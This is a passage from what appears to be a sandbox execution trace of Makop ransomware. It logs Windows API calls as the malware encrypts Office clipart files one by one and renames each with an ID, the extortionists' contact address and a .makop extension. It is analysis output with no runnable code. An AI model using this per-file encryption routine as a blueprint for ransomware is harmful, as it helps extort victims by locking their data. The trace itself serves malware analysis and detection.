(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.363] CloseHandle (hObject=0xf0) returned 1 [0127.363] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5eae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185800.WMF", cAlternateFileName="")) returned 1 [0127.363] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0127.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.366] GetProcessHeap () returned 0x48a0000 [0127.366] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.366] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.366] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.366] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0127.370] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.371] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.371] GetProcessHeap () returned 0x48a0000 [0127.371] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.371] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.371] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.371] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.371] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.371] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.371] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.372] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.372] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.372] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.372] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.372] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.372] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5eae, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5eae, lpOverlapped=0x0) returned 1 [0127.375] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5eb0, dwBufLen=0x5eb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5eb0) returned 1 [0127.375] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.375] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5eb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5eb0, lpOverlapped=0x0) returned 1 [0127.376] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.376] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5f84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.376] SetEndOfFile (hFile=0xf0) returned 1 [0127.383] GetProcessHeap () returned 0x48a0000 [0127.383] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.383] GetProcessHeap () returned 0x48a0000 [0127.383] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.383] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.384] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.385] CloseHandle (hObject=0xf0) returned 1 [0127.385] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x773a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185806.WMF", cAlternateFileName="")) returned 1 [0127.385] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0127.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.386] GetProcessHeap () returned 0x48a0000 [0127.386] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.386] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.386] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.387] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0127.392] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.392] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.392] GetProcessHeap () returned 0x48a0000 [0127.392] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.392] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.392] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.392] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.392] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.392] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.393] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.393] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.393] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.393] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.393] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.393] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.393] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x773a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x773a, lpOverlapped=0x0) returned 1 [0127.395] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7740, dwBufLen=0x7740 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7740) returned 1 [0127.395] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.395] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7740, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7740, lpOverlapped=0x0) returned 1 [0127.396] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.396] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.396] SetEndOfFile (hFile=0xf0) returned 1 [0127.404] GetProcessHeap () returned 0x48a0000 [0127.404] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.404] GetProcessHeap () returned 0x48a0000 [0127.404] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.404] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.404] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.405] CloseHandle (hObject=0xf0) returned 1 [0127.405] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185818.WMF", cAlternateFileName="")) returned 1 [0127.405] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0127.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.406] GetProcessHeap () returned 0x48a0000 [0127.406] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.406] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.406] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.406] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0127.411] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.411] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.411] GetProcessHeap () returned 0x48a0000 [0127.411] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.411] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.411] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.411] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.411] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.412] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.412] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.412] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.412] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.412] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.412] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.412] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.413] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8b8e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8b8e, lpOverlapped=0x0) returned 1 [0127.414] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8b90, dwBufLen=0x8b90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8b90) returned 1 [0127.415] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.415] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8b90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8b90, lpOverlapped=0x0) returned 1 [0127.415] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.415] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8c64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.416] SetEndOfFile (hFile=0xf0) returned 1 [0127.423] GetProcessHeap () returned 0x48a0000 [0127.423] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.424] GetProcessHeap () returned 0x48a0000 [0127.424] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.424] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.424] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.425] CloseHandle (hObject=0xf0) returned 1 [0127.425] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185828.WMF", cAlternateFileName="")) returned 1 [0127.425] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0127.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.426] GetProcessHeap () returned 0x48a0000 [0127.426] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.426] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.426] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.427] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0127.431] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.431] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.431] GetProcessHeap () returned 0x48a0000 [0127.432] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.432] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.432] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.432] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.432] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.432] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.432] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.432] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.433] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.433] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.433] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.433] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.433] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1e74, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1e74, lpOverlapped=0x0) returned 1 [0127.435] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e80) returned 1 [0127.435] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.435] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1e80, lpOverlapped=0x0) returned 1 [0127.435] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.435] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.436] SetEndOfFile 